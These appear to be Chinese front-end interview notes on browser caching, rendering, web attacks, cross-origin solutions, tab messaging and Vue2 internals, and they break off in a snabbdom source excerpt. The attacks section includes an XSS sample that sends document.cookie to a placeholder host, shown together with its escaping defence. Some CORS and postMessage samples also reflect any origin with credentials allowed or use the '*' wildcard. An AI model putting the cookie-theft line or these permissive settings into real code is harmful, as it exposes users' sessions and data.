- 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗。
- 对于一个数据请求来说,可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求,或者发起了请求但后端存储的数据和前端一致,那么就没有必要再将数据回传回来,这样就减少了响应数据。
接下来的内容中我们将通过以下几个部分来探讨浏览器缓存机制:
- 缓存位置
- 缓存策略
- 实际场景应用缓存策略
1. 缓存位置
从缓存位置上来说分为四种,并且各自有优先级,当依次查找缓存且都没有命中的时候,才会去请求网络
Service Worker
Memory Cache
Disk Cache
Push Cache
- 网络请求
1.1 Service Worker
service Worker
的缓存与浏览器其他内建的缓存机制不同,它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存,并且缓存是持续性的。- 当
Service Worker
没有命中缓存的时候,我们需要去调用fetch
函数获取数据。也就是说,如果我们没有在Service Worker
命中缓存的话,会根据缓存查找优先级去查找数据。但是不管我们是从Memory Cache
中还是从网络请求中获取的数据,浏览器都会显示我们是从Service Worker
中获取的内容。
1.2 Memory Cache
Memory Cache
也就是内存中的缓存,读取内存中的数据肯定比磁盘快。但是内存缓存虽然读取高效,可是缓存持续性很短,会随着进程的释放而释放。 一旦我们关闭Tab
页面,内存中的缓存也就被释放了。- 当我们访问过页面以后,再次刷新页面,可以发现很多数据都来自于内存缓存
那么既然内存缓存这么高效,我们是不是能让数据都存放在内存中呢?
- 先说结论,这是不可能的。首先计算机中的内存一定比硬盘容量小得多,操作系统需要精打细算内存的使用,所以能让我们使用的内存必然不多。内存中其实可以存储大部分的文件,比如说
JS
、HTML
、CSS
、图片等等 - 当然,我通过一些实践和猜测也得出了一些结论:
- 对于大文件来说,大概率是不存储在内存中的,反之优先当前系统内存使用率高的话,文件优先存储进硬盘
1.3 Disk Cache
Disk Cache
也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之Memory Cache
胜在容量和存储时效性上。- 在所有浏览器缓存中,
Disk Cache
覆盖面基本是最大的。它会根据HTTP Herder
中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据
1.4 Push Cache
Push Cache
是HTTP/2
中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session
)中存在,一旦会话结束就被释放。Push Cache
在国内能够查到的资料很少,也是因为HTTP/2
在国内不够普及,但是HTTP/2
将会是日后的一个趋势
结论
- 所有的资源都能被推送,但是
Edge
和Safari
浏览器兼容性不怎么好 - 可以推送
no-cache
和no-store
的资源 - 一旦连接被关闭,
Push Cache
就被释放 - 多个页面可以使用相同的
HTTP/2
连接,也就是说能使用同样的缓存 Push Cache
中的缓存只能被使用一次- 浏览器可以拒绝接受已经存在的资源推送
- 你可以给其他域名推送资源
1.5 网络请求
- 如果所有缓存都没有命中的话,那么只能发起请求来获取资源了。
- 那么为了性能上的考虑,大部分的接口都应该选择好缓存策略,接下来我们就来学习缓存策略这部分的内容
2 缓存策略
通常浏览器缓存策略分为两种:强缓存和协商缓存,并且缓存策略都是通过设置
HTTP Header
来实现的
2.1 强缓存
强缓存可以通过设置两种
HTTP Header
实现:Expires
和Cache-Control
。强缓存表示在缓存期间不需要请求,state code
为200
Expires
Expires: Wed, 22 Oct 2018 08:41:00 GMT
Expires
是HTTP/1
的产物,表示资源会在Wed, 22 Oct 2018 08:41:00 GMT
后过期,需要再次请求。并且Expires
受限于本地时间,如果修改了本地时间,可能会造成缓存失效。
Cache-control
Cache-control: max-age=30
Cache-Control
出现于HTTP/1.1
,优先级高于Expires
。该属性值表示资源会在30
秒后过期,需要再次请求。Cache-Control
可以在请求头或者响应头中设置,并且可以组合使用多种指令
从图中我们可以看到,我们可以将多个指令配合起来一起使用,达到多个目的。比如说我们希望资源能被缓存下来,并且是客户端和代理服务器都能缓存,还能设置缓存失效时间等
一些常见指令的作用
2.2 协商缓存
- 如果缓存过期了,就需要发起请求验证资源是否有更新。协商缓存可以通过设置两种
HTTP Header
实现:Last-Modified
和ETag
- 当浏览器发起请求验证资源时,如果资源没有做改变,那么服务端就会返回
304
状态码,并且更新浏览器缓存有效期。
Last-Modified 和 If-Modified-Since
Last-Modified
表示本地文件最后修改日期,If-Modified-Since
会将Last-Modified
的值发送给服务器,询问服务器在该日期后资源是否有更新,有更新的话就会将新的资源发送回来,否则返回304
状态码。
但是 Last-Modified
存在一些弊端:
- 如果本地打开缓存文件,即使没有对文件进行修改,但还是会造成
Last-Modified
被修改,服务端不能命中缓存导致发送相同的资源 - 因为
Last-Modified
只能以秒计时,如果在不可感知的时间内修改完成文件,那么服务端会认为资源还是命中了,不会返回正确的资源 因为以上这些弊端,所以在HTTP / 1.1
出现了ETag
ETag 和 If-None-Match
ETag
类似于文件指纹,If-None-Match
会将当前ETag
发送给服务器,询问该资源ETag
是否变动,有变动的话就将新的资源发送回来。并且ETag
优先级比Last-Modified
高。
以上就是缓存策略的所有内容了,看到这里,不知道你是否存在这样一个疑问。如果什么缓存策略都没设置,那么浏览器会怎么处理?
对于这种情况,浏览器会采用一个启发式的算法,通常会取响应头中的 Date
减去 Last-Modified
值的 10%
作为缓存时间。
2.3 实际场景应用缓存策略
频繁变动的资源
对于频繁变动的资源,首先需要使用
Cache-Control: no-cache
使浏览器每次都请求服务器,然后配合ETag
或者Last-Modified
来验证资源是否有效。这样的做法虽然不能节省请求数量,但是能显著减少响应数据大小。
代码文件
这里特指除了
HTML
外的代码文件,因为HTML
文件一般不缓存或者缓存时间很短。
一般来说,现在都会使用工具来打包代码,那么我们就可以对文件名进行哈希处理,只有当代码修改后才会生成新的文件名。基于此,我们就可以给代码文件设置缓存有效期一年 Cache-Control: max-age=31536000
,这样只有当 HTML
文件中引入的文件名发生了改变才会去下载最新的代码文件,否则就一直使用缓存
更多缓存知识详解 http://blog.poetries.top/2019/01/02/browser-cache
# 从输入URL 到网页显示的完整过程
- 网络请求
DNS
查询(得到IP
),建立TCP
连接(三次握手)- 浏览器发送
HTTP
请求 - 收到请求响应,得到
HTML
源码。继续请求静态资源- 在解析
HTML
过程中,遇到静态资源(JS
、CSS
、图片等)还会继续发起网络请求 - 静态资源可能有缓存
- 在解析
- 解析:字符串=>结构化数据
HTML
构建DOM
树CSS
构建CSSOM
树(style tree
)- 两者结合,形成
render tree
- 优化解析
CSS
放在<head/>
中,不要异步加载CSS
JS
放到<body/>
下面,不阻塞HTML
解析(或结合defer
、async
)<img />
提前定义width
、height
,避免页面重新渲染
- 渲染:Render Tree绘制到页面
- 计算
DOM
的尺寸、定位,最后绘制到页面 - 遇到
JS
会执行,阻塞HTML
解析。如果设置了defer
,则并行下载JS
,等待HTML
解析完,在执行JS
;如果设置了async
,则并行下载JS
,下载完立即执行,在继续解析HTML
(JS
是单线程的,JS
执行和DOM
渲染互斥,等JS
执行完,在解析渲染DOM
) - 异步
CSS
、异步图片,可能会触发重新渲染
- 计算
连环问:网页重绘repaint和重排reflow有什么区别
- 重绘
- 元素外观改变:如颜色、背景色
- 但元素的尺寸、定位不变,不会影响其他元素的位置
- 重排
- 重新计算尺寸和布局,可能会影响其他元素的位置
- 如元素高度的增加,可能会使相邻的元素位置改变
- 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
- 减少重排的方法
- 使用
BFC
特性,不影响其他元素位置 - 频繁触发(
resize
、scroll
)使用节流和防抖 - 使用
createDocumentFragment
批量操作DOM
- 编码上,避免连续多次修改,可通过合并修改,一次触发
- 对于大量不同的
dom
修改,可以先将其脱离文档流,比如使用绝对定位,或者display:none
,在文档流外修改完成后再放回文档里中 - 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用
requestAnimationFrame
css3
硬件加速,transform
、opacity
、filters
,开启后,会新建渲染层
- 使用
# 常见的web前端攻击方式有哪些
XSS
Cross Site Script
跨站脚本攻击- 手段:黑客将JS代码插入到网页内容中,渲染时执行
JS
代码 - 预防:特殊字符串替换(前端或后端)
// 用户提交
const str = `
<p>123123</p>
<script>
var img = document.createElement('image')
// 把cookie传递到黑客网站 img可以跨域
img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
</script>
`
const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
// 替换字符,无法在页面中渲染
// <script>
// var img = document.createElement('image')
// img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
// </script>
CSRF
Cross Site Request Forgery
跨站请求伪造- 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
- 预防:严格的跨域限制 + 验证码机制
- 判断
referer
- 为
cookie
设置sameSite
属性,禁止第三方网页跨域的请求能携带上cookie
- 使用
token
- 关键接口使用短信验证码
- 判断
注意:偷取
cookie
是XSS
做的事,CSRF
的作用是借用cookie
,并不能获取cookie
CSRF攻击攻击原理及过程如下:
- 用户登录了
A
网站,有了cookie
- 黑盒诱导用户到
B
网站,并发起A
网站的请求 A
网站的API
发现有cookie
,会在请求中携带A
网站的cookie
,认为是用户自己操作的
点击劫持
- 手段:诱导界面上设置透明的
iframe
,诱导用户点击 - 预防:让
iframe
不能跨域加载
DDOS
Distribute denial-of-service
分布式拒绝服务- 手段:分布式的大规模的流量访问,使服务器瘫痪
- 预防:软件层不好做,需硬件预防(如阿里云的
WAF
购买高防)
SQL注入
- 手段:黑客提交内容时,写入
sql
语句,破坏数据库 - 预防:处理内容的输入,替换特殊字符
# 跨域方案
因为浏览器出于安全考虑,有同源策略。也就是说,如果
协议
、域名
、端口
有一个不同就是跨域,Ajax
请求会失败。
我们可以通过以下几种常用方法解决跨域的问题
4.1 JSONP
JSONP
的原理很简单,就是利用<script>
标签没有跨域限制的漏洞。通过<script>
标签指向一个需要访问的地址并提供一个回调函数来接收数据
涉及到的端
JSONP
需要服务端和前端配合实现。
<script src="http://domain/api?param1=a¶m2=b&callback=jsonp"></script>
<script>
function jsonp(data) {
console.log(data)
}
</script>
JSONP
使用简单且兼容性不错,但是只限于get
请求
具体实现方式
- 在开发中可能会遇到多个
JSONP
请求的回调函数名是相同的,这时候就需要自己封装一个JSONP
,以下是简单实现
function jsonp(url, jsonpCallback, success) {
let script = document.createElement("script");
script.src = url;
script.async = true;
script.type = "text/javascript";
window[jsonpCallback] = function(data) {
success && success(data);
};
document.body.appendChild(script);
}
jsonp(
"http://xxx",
"callback",
function(value) {
console.log(value);
}
);
4.2 CORS
CORS
(Cross-Origin Resource Sharing,跨域资源共享) 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求
涉及到的端
CORS
只需要服务端/后端支持即可,不涉及前端改动
CORS
需要浏览器和后端同时支持。IE 8
和9
需要通过XDomainRequest
来实现。- 浏览器会自动进行
CORS
通信,实现CORS
通信的关键是后端。只要后端实现了CORS
,就实现了跨域。 - 服务端设置
Access-Control-Allow-Origin
就可以开启CORS
。 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。
CORS
实现起来非常方便,只需要增加一些 HTTP
头,让服务器能声明允许的访问来源
只要后端实现了 CORS
,就实现了跨域
以 koa
框架举例
添加中间件,直接设置Access-Control-Allow-Origin
请求头
app.use(async (ctx, next)=> {
ctx.set('Access-Control-Allow-Origin', '*');
ctx.set('Access-Control-Allow-Headers', 'Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild');
ctx.set('Access-Control-Allow-Methods', 'PUT, POST, GET, DELETE, OPTIONS');
if (ctx.method == 'OPTIONS') {
ctx.body = 200;
} else {
await next();
}
})
具体实现方式
CORS
将请求分为简单请求(Simple Requests)和需预检请求(Preflighted requests),不同场景有不同的行为
- 简单请求:不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:
- 请求方法:
GET
、HEAD
、POST
。 - 请求头:
Accept
、Accept-Language
、Content-Language
、Content-Type
。Content-Type
仅支持:application/x-www-form-urlencoded
、multipart/form-data
、text/plain
- 请求方法:
- 需预检请求:当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个
OPTIONS
请求,通过服务端返回的Access-Control-Allow-*
判定请求是否被允许
CORS
引入了以下几个以 Access-Control-Allow-*
开头:
Access-Control-Allow-Origin
表示允许的来源Access-Control-Allow-Methods
表示允许的请求方法Access-Control-Allow-Headers
表示允许的请求头Access-Control-Allow-Credentials
表示允许携带认证信息
当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求
4.3 nginx反向代理
反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可
nginx 配置跨域,可以为全局配置和单个代理配置(两者不能同时配置)
- 全局配置,在
nginx.conf
文件中的http
节点加入跨域信息
http {
# 跨域配置
add_header 'Access-Control-Allow-Origin' '$http_origin' ;
add_header 'Access-Control-Allow-Credentials' 'true' ;
add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
}
- 局部配置(单个代理配置跨域), 在路径匹配符中加入跨域信息
server {
listen 8080;
server_name server_name;
charset utf-8;
location / {
# 这里配置单个代理跨域,跨域配置
add_header 'Access-Control-Allow-Origin' '$http_origin' ;
add_header 'Access-Control-Allow-Credentials' 'true' ;
add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
#配置代理 代理到本机服务端口
proxy_pass http://127.0.0.1:9000;
proxy_redirect off;
proxy_set_header Host $host:$server_port;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
4.4 Node 中间层接口转发
const router = require('koa-router')()
const rp = require('request-promise');
// 通过node中间层转发实现接口跨域
router.post('/github', async (ctx, next) => {
let {category = 'trending',lang = 'javascript',limit,offset,period} = ctx.request.body
lang = lang || 'javascript'
limit = limit || 30
offset = offset || 0
period = period || 'week'
let res = await rp({
method: 'POST',
// 跨域的接口
uri: `https://e.juejin.cn/resources/github`,
body: {
category,
lang,
limit,
offset,
period
},
json: true
})
ctx.body = res
})
module.exports = router
4.5 Proxy
如果是通过vue-cli
脚手架工具搭建项目,我们可以通过webpack
为我们起一个本地服务器作为请求的代理对象
通过该服务器转发请求至目标服务器,得到结果再转发给前端,但是最终发布上线时如果web应用和接口服务器不在一起仍会跨域
在vue.config.js
文件,新增以下代码
module.exports = {
devServer: {
host: '127.0.0.1',
port: 8080,
open: true,// vue项目启动时自动打开浏览器
proxy: {
'/api': { // '/api'是代理标识,用于告诉node,url前面是/api的就是使用代理的
target: "http://xxx.xxx.xx.xx:8080", //目标地址,一般是指后台服务器地址
changeOrigin: true, //是否跨域
pathRewrite: { // pathRewrite 的作用是把实际Request Url中的'/api'用""代替
'^/api': ""
}
}
}
}
}
通过axios
发送请求中,配置请求的根路径
axios.defaults.baseURL = '/api'
此外,还可通过服务端实现代理请求转发,以express
框架为例
var express = require('express');
const proxy = require('http-proxy-middleware')
const app = express()
app.use(express.static(__dirname + '/'))
app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false
}));
module.exports = app
4.6 websocket
webSocket
本身不存在跨域问题,所以我们可以利用webSocket
来进行非同源之间的通信
原理:利用
webSocket
的API
,可以直接new
一个socket
实例,然后通过open
方法内send
要传输到后台的值,也可以利用message
方法接收后台传来的数据。后台是通过new WebSocket.Server({port:3000})
实例,利用message
接收数据,利用send
向客户端发送数据。具体看以下代码:
function socketConnect(url) {
// 客户端与服务器进行连接
let ws = new WebSocket(url); // 返回`WebSocket`对象,赋值给变量ws
// 连接成功回调
ws.onopen = e => {
console.log('连接成功', e)
ws.send('我发送消息给服务端'); // 客户端与服务器端通信
}
// 监听服务器端返回的信息
ws.onmessage = e => {
console.log('服务器端返回:', e.data)
// do something
}
return ws; // 返回websocket对象
}
let wsValue = socketConnect('ws://121.40.165.18:8800'); // websocket对象
4.7 document.domain(不常用)
- 该方式只能用于二级域名相同的情况下,比如
a.test.com
和b.test.com
适用于该方式。 - 只需要给页面添加
document.domain = 'test.com'
表示二级域名都相同就可以实现跨域 - 自
Chrome 101
版本开始,document.domain
将变为可读属性,也就是意味着上述这种跨域的方式被禁用了
4.8 postMessage(不常用)
在两个 origin
下分别部署一套页面 A
与 B
,A
页面通过 iframe
加载 B
页面并监听消息,B
页面发送消息
这种方式通常用于获取嵌入页面中的第三方页面数据。一个页面发送消息,另一个页面判断来源并接收消息
// 发送消息端
window.parent.postMessage('message', 'http://test.com');
// 接收消息端
var mc = new MessageChannel();
mc.addEventListener('message', (event) => {
var origin = event.origin || event.originalEvent.origin;
if (origin === 'http://test.com') {
console.log('验证通过')
}
});
4.9 window.name(不常用)
主要是利用
window.name
页面跳转不改变的特性实现跨域,即iframe
加载一个跨域页面,设置window.name
,跳转到同域页面,可以通过$('iframe').contentWindow.name
拿到跨域页面的数据
实例说明
比如有一个www.example.com/a.html
页面。需要通过a.html
页面里的js
来获取另一个位于不同域上的页面www.test.com/data.html
中的数据。
data.html
页面中设置一个window.name
即可,代码如下
<script>
window.name = "我是data.html中设置的a页面想要的数据";
</script>
- 那么接下来问题来了,我们怎么把
data.html
页面载入进来呢,显然我们不能直接在a.html
页面中通过改变window.location
来载入data.html
页面(因为我们现在需要实现的是a.html
页面不跳转,但是也能够获取到data.html
中的数据) - 具体的实现其实就是在
a.html
页面中使用一个隐藏的iframe
来充当一个中间角色,由iframe
去获取data.html
的数据,然后a.html
再去得到iframe
获取到的数据。 - 充当中间人的
iframe
想要获取到data.html
中通过window.name
设置的数据,只要要把这个iframe
的src
设置为www.test.com/data.html
即可,然后a.html
想要得到iframe
所获取到的数据,也就是想要得到iframe
的widnow.name
的值,还必须把这个iframe
的src
设置成跟a.html
页面同一个域才行,不然根据同源策略,a.html
是不能访问到iframe
中的window.name
属性的
<!-- a.html中的代码 -->
<iframe id="proxy" src="http://www.test.com/data.html" style="display: none;" onload = "getData()">
<script>
function getData(){
var iframe = document.getElementById('proxy);
iframe.onload = function(){
var data = iframe.contentWindow.name;
//上述即为获取iframe里的window.name也就是data.html页面中所设置的数据;
}
iframe.src = 'b.html'; //这里的b为随便的一个页面,只有与a.html同源就行,目的让a.html等访问到iframe里的东西,设置成about:blank也行
}
</script>
上面的代码只是最简单的原理演示代码,你可以对使用js封装上面的过程,比如动态的创建iframe
,动态的注册各种事件等等,当然为了安全,获取完数据后,还可以销毁作为代理的iframe
4.10 扩展阅读
跨域与监控
前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error
的问题。这个问题也是由同源策略引起。在 <script>
标签上添加 crossorigin="anonymous"
并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: *
即可捕捉到完整的错误堆栈
跨域与图片
前端项目在图片处理时可能会遇到图片绘制到 Canvas
上之后却不能读取像素或导出 base64
的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous"
并在返回的图片文件响应头加上 Access-Control-Allow-Origin: *
即可解决
# 移动端H5点击有300ms延迟,该如何解决
解决方案
- 禁用缩放,设置
meta
标签user-scalable=no
- 现在浏览器方案
meta
中设置content="width=device-width"
fastclick.js
初期解决方案 fastClick
// 使用
window.addEventListener('load',()=>{
FastClick.attach(document.body)
},false)
fastClick原理
- 监听
touchend
事件(touchstart
touchend
会先于click
触发) - 使用自定义
DOM
事件模拟一个click
事件 - 把默认的
click
事件(300ms
之后触发)禁止掉
触摸事件的响应顺序
ontouchstart
ontouchmove
ontouchend
onclick
现代浏览器的改进
meta
中设置content="width=device-width"
就不会有300ms
的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了
<head>
<meta name="viewport" content="width=device-width,initial-scale=1.0" />
</head>
# 如何实现网页多标签tab通讯
- 通过
websocket
- 无跨域限制
- 需要服务端支持,成本高
- 通过
localStorage
同域通讯(推荐)同域
的A
和B
两个页面A
页面设置localStorage
B
页面可监听到localStorage
值的修改
- 通过
SharedWorker
通讯SharedWorker
是WebWorker
的一种WebWorker
可开启子进程执行JS
,但不能操作DOM
SharedWorker
可单独开启一个进程,用于同域页面通讯SharedWorker
兼容性不太好,调试不方便,IE11
不支持
localStorage通讯例子
<!-- 列表页 -->
<p>localStorage message - list page</p>
<script>
// 监听storage事件
window.addEventListener('storage', event => {
console.info('key', event.key)
console.info('value', event.newValue)
})
</script>
<!-- 详情页 -->
<p>localStorage message - detail page</p>
<button id="btn1">修改标题</button>
<script>
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click', () => {
const newInfo = {
id: 100,
name: '标题' + Date.now()
}
localStorage.setItem('changeInfo', JSON.stringify(newInfo))
})
// localStorage 跨域不共享
</script>
SharedWorker通讯例子
本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers
=> sharedWorkers
=> 点击inspect
<p>SharedWorker message - list page</p>
<script>
const worker = new SharedWorker('./worker.js')
worker.port.onmessage = e => console.info('list', e.data)
</script>
<p>SharedWorker message - detail page</p>
<button id="btn1">修改标题</button>
<script>
const worker = new SharedWorker('./worker.js')
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click', () => {
console.log('clicked')
worker.port.postMessage('detail go...')
})
</script>
// worker.js
/**
* @description for SharedWorker
*/
const set = new Set()
onconnect = event => {
const port = event.ports[0]
set.add(port)
// 接收信息
port.onmessage = e => {
// 广播消息
set.forEach(p => {
if (p === port) return // 不给自己广播
p.postMessage(e.data)
})
}
// 发送信息
port.postMessage('worker.js done')
}
连环问:如何实现网页和iframe之间的通讯
- 使用
postMessage
通信 - 注意跨域的限制和判断,判断域名的合法性
演示
<!-- 首页 -->
<p>
index page
<button id="btn1">发送消息</button>
</p>
<iframe id="iframe1" src="./child.html"></iframe>
<script>
document.getElementById('btn1').addEventListener('click', () => {
console.info('index clicked')
window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
})
// 接收child的消息
window.addEventListener('message', event => {
console.info('origin', event.origin) // 来源的域名
console.info('index received', event.data)
})
</script>
<!-- 子页面 -->
<p>
child page
<button id="btn1">发送消息</button>
</p>
<script>
document.getElementById('btn1').addEventListener('click', () => {
console.info('child clicked')
// child被嵌入到index页面,获取child的父页面
window.parent.postMessage('world', '*') // * 没有域名限制
})
// 接收parent的消息
window.addEventListener('message', event => {
console.info('origin', event.origin) // 判断 origin 的合法性
console.info('child received', event.data)
})
</script>
效果
# requestIdleCallback和requestAnimationFrame有什么区别
由react fiber
引起的关注
- 组件树转为链表,可分段渲染
- 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(
JS
是单线程的,JS
执行的时候没法去DOM
渲染) - 如何判断空闲?
requestIdleCallback
区别
requestAnimationFrame
每次渲染完在执行,高优先级requestIdleCallback
空闲时才执行,低优先级- 都是宏任务,要等待DOM渲染完后在执行
<p>requestAnimationFrame</p>
<button id="btn1">change</button>
<div id="box"></div>
<script>
const box = document.getElementById('box')
document.getElementById('btn1').addEventListener('click', () => {
let curWidth = 100
const maxWidth = 400
function addWidth() {
curWidth = curWidth + 3
box.style.width = `${curWidth}px`
if (curWidth < maxWidth) {
window.requestAnimationFrame(addWidth) // 时间不用自己控制
}
}
addWidth()
})
</script>
window.onload = () => {
console.info('start')
setTimeout(() => {
console.info('timeout')
})
// 空闲时间才执行
window.requestIdleCallback(() => {
console.info('requestIdleCallback')
})
window.requestAnimationFrame(() => {
console.info('requestAnimationFrame')
})
console.info('end')
}
// start
// end
// timeout
// requestAnimationFrame
// requestIdleCallback
# script标签的defer和async有什么区别
script
:HTML
暂停解析,下载JS
,执行JS
,在继续解析HTML
。defer
:HTML
继续解析,并行下载JS
,HTML
解析完在执行JS
(不用把script
放到body
后面,我们在head
中<script defer>
让js
脚本并行加载会好点)async
:HTML
继续解析,并行下载JS
,执行JS
(加载完毕后立即执行
),在继续解析HTML
- 加载完毕后立即执行,这导致
async
属性下的脚本是乱序的,对于script
有先后依赖关系的情况,并不适用
- 加载完毕后立即执行,这导致
注意:
JS
是单线程的,JS
解析线程和DOM
解析线程共用同一个线程,JS执行和HTML解析是互斥的
,加载资源可以并行
蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表
HTML
解析
连环问:prefetch和dns-prefetch分别是什么
preload和prefetch
preload
资源在当前页面使用,会优先加载prefetch
资源在未来页面使用,空闲时加载
<head>
<!-- 当前页面使用 -->
<link rel="preload" href="style.css" as="style" />
<link rel="preload" href="main.js" as="script" />
<!-- 未来页面使用 提前加载 比如新闻详情页 -->
<link rel="prefetch" href="other.js" as="script" />
<!-- 当前页面 引用css -->
<link rel="stylesheet" href="style.css" />
</head>
<body>
<!-- 当前页面 引用js -->
<script src="main.js" defer></script>
</body>
dns-preftch和preconnect
dns-pretch
DNS
预查询preconnect
DNS
预连接
通过预查询和预连接减少
DNS
解析时间
<head>
<!-- 针对未来页面提前解析:提高打开速度 -->
<link rel="dns-pretch" href="https://font.static.com" />
<link rel="preconnect" href="https://font.static.com" crossorigin />
</head>
# 4 Vue2
# 响应式原理
响应式
- 组件
data
数据一旦变化,立刻触发视图的更新 - 实现数据驱动视图的第一步
- 核心
API
:Object.defineProperty
- 缺点
- 深度监听,需要递归到底,一次计算量大
- 无法监听新增属性、删除属性(使用
Vue.set
、Vue.delete
可以) - 无法监听原生数组,需要重写数组原型
- 缺点
// 触发更新视图
function updateView() {
console.log('视图更新')
}
// 重新定义数组原型
const oldArrayProperty = Array.prototype
// 创建新对象,原型指向 oldArrayProperty ,再扩展新的方法不会影响原型
const arrProto = Object.create(oldArrayProperty);
['push', 'pop', 'shift', 'unshift', 'splice'].forEach(methodName => {
arrProto[methodName] = function () {
updateView() // 触发视图更新
oldArrayProperty[methodName].call(this, ...arguments)
// Array.prototype.push.call(this, ...arguments)
}
})
// 重新定义属性,监听起来
function defineReactive(target, key, value) {
// 深度监听
observer(value)
// 核心 API
Object.defineProperty(target, key, {
get() {
return value
},
set(newValue) {
if (newValue !== value) {
// 深度监听
observer(newValue)
// 设置新值
// 注意,value 一直在闭包中,此处设置完之后,再 get 时也是会获取最新的值
value = newValue
// 触发更新视图
updateView()
}
}
})
}
// 监听对象属性
function observer(target) {
if (typeof target !== 'object' || target === null) {
// 不是对象或数组
return target
}
// 污染全局的 Array 原型
// Array.prototype.push = function () {
// updateView()
// ...
// }
if (Array.isArray(target)) {
target.__proto__ = arrProto
}
// 重新定义各个属性(for in 也可以遍历数组)
for (let key in target) {
defineReactive(target, key, target[key])
}
}
// 准备数据
const data = {
name: 'zhangsan',
age: 20,
info: {
address: 'shenzhen' // 需要深度监听
},
nums: [10, 20, 30]
}
// 监听数据
observer(data)
// 测试
// data.name = 'lisi'
// data.age = 21
// // console.log('age', data.age)
// data.x = '100' // 新增属性,监听不到 —— 所以有 Vue.set
// delete data.name // 删除属性,监听不到 —— 所有有 Vue.delete
// data.info.address = '上海' // 深度监听
data.nums.push(4) // 监听数组
// proxy-demo
// const data = {
// name: 'zhangsan',
// age: 20,
// }
const data = ['a', 'b', 'c']
const proxyData = new Proxy(data, {
get(target, key, receiver) {
// 只处理本身(非原型的)属性
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('get', key) // 监听
}
const result = Reflect.get(target, key, receiver)
return result // 返回结果
},
set(target, key, val, receiver) {
// 重复的数据,不处理
if (val === target[key]) {
return true
}
const result = Reflect.set(target, key, val, receiver)
console.log('set', key, val)
// console.log('result', result) // true
return result // 是否设置成功
},
deleteProperty(target, key) {
const result = Reflect.deleteProperty(target, key)
console.log('delete property', key)
// console.log('result', result) // true
return result // 是否删除成功
}
})
# vdom和diff算法
1. vdom
- 背景
DOM
操作非常耗时- 以前用
jQuery
,可以自行控制DOM
操作时机,手动调整 Vue
和React
是数据驱动视图,如何有效控制DOM
操作
- 解决方案VDOM
- 有了一定的复杂度,想减少计算次数比较难
- 能不能把计算,更多的转移为JS计算?因为
JS
执行速度很快 vdom
用JS
模拟DOM
结构,计算出最小的变更,操作DOM
- 用JS模拟DOM结构
- 通过snabbdom学习vdom
- 简洁强大的
vdom
库 vue2
参考它实现的vdom
和diff
- snabbdom
h
函数vnode
数据结构patch
函数
- 简洁强大的
- vdom总结
- 用
JS
模拟DOM
结构(vnode
) - 新旧
vnode
对比,得出最小的更新范围,有效控制DOM
操作 - 数据驱动视图模式下,有效控制
DOM
操作
- 用
2. diff算法
diff
算法是vdom
中最核心、最关键的部分diff
算法能在日常使用vue
react
中体现出来(如key
)
树的diff的时间复杂度O(n^3)
- 第一,遍历
tree1
- 第二,遍历
tree2
- 第三,排序
1000
个节点,要计算10
亿次,算法不可用
优化时间复杂度到O(n)
- 只比较同一层级,不跨级比较
tag
不相同,则直接删掉重建,不再深度比较tag
和key
相同,则认为是相同节点,不再深度比较
diff过程细节
- 新旧节点都有
children
,执行updateChildren
diff
对比- 开始和开始对比--头头
- 结束和结束对比--尾尾
- 开始和结束对比--头尾
- 结束和开始对比--尾头
- 以上四个都未命中:拿新节点
key
,能否对应上oldCh
中的某个节点的key
- 新
children
有,旧children
无:清空旧text
节点,新增新children
节点 - 旧
children
有,新children
无:移除旧children
- 否则旧
text
有,设置text
为空
vdom和diff算法总结
- 细节不重要,
updateChildren
的过程也不重要,不要深究 vdom
的核心概念很重要:h
、vnode
、patch
、diff
、key
vdom
存在的价值更重要,数据驱动视图,控制dom
操作
// snabbdom源码位于 src/snabbdom.ts
/* global module, document, Node */
import { Module } from './modules/module';
import vnode, { VNode } from './vnode';
import * as is from './is';
import htmlDomApi, { DOMAPI } from './htmldomapi';
type NonUndefined<T> = T extends undefined ? never : T;
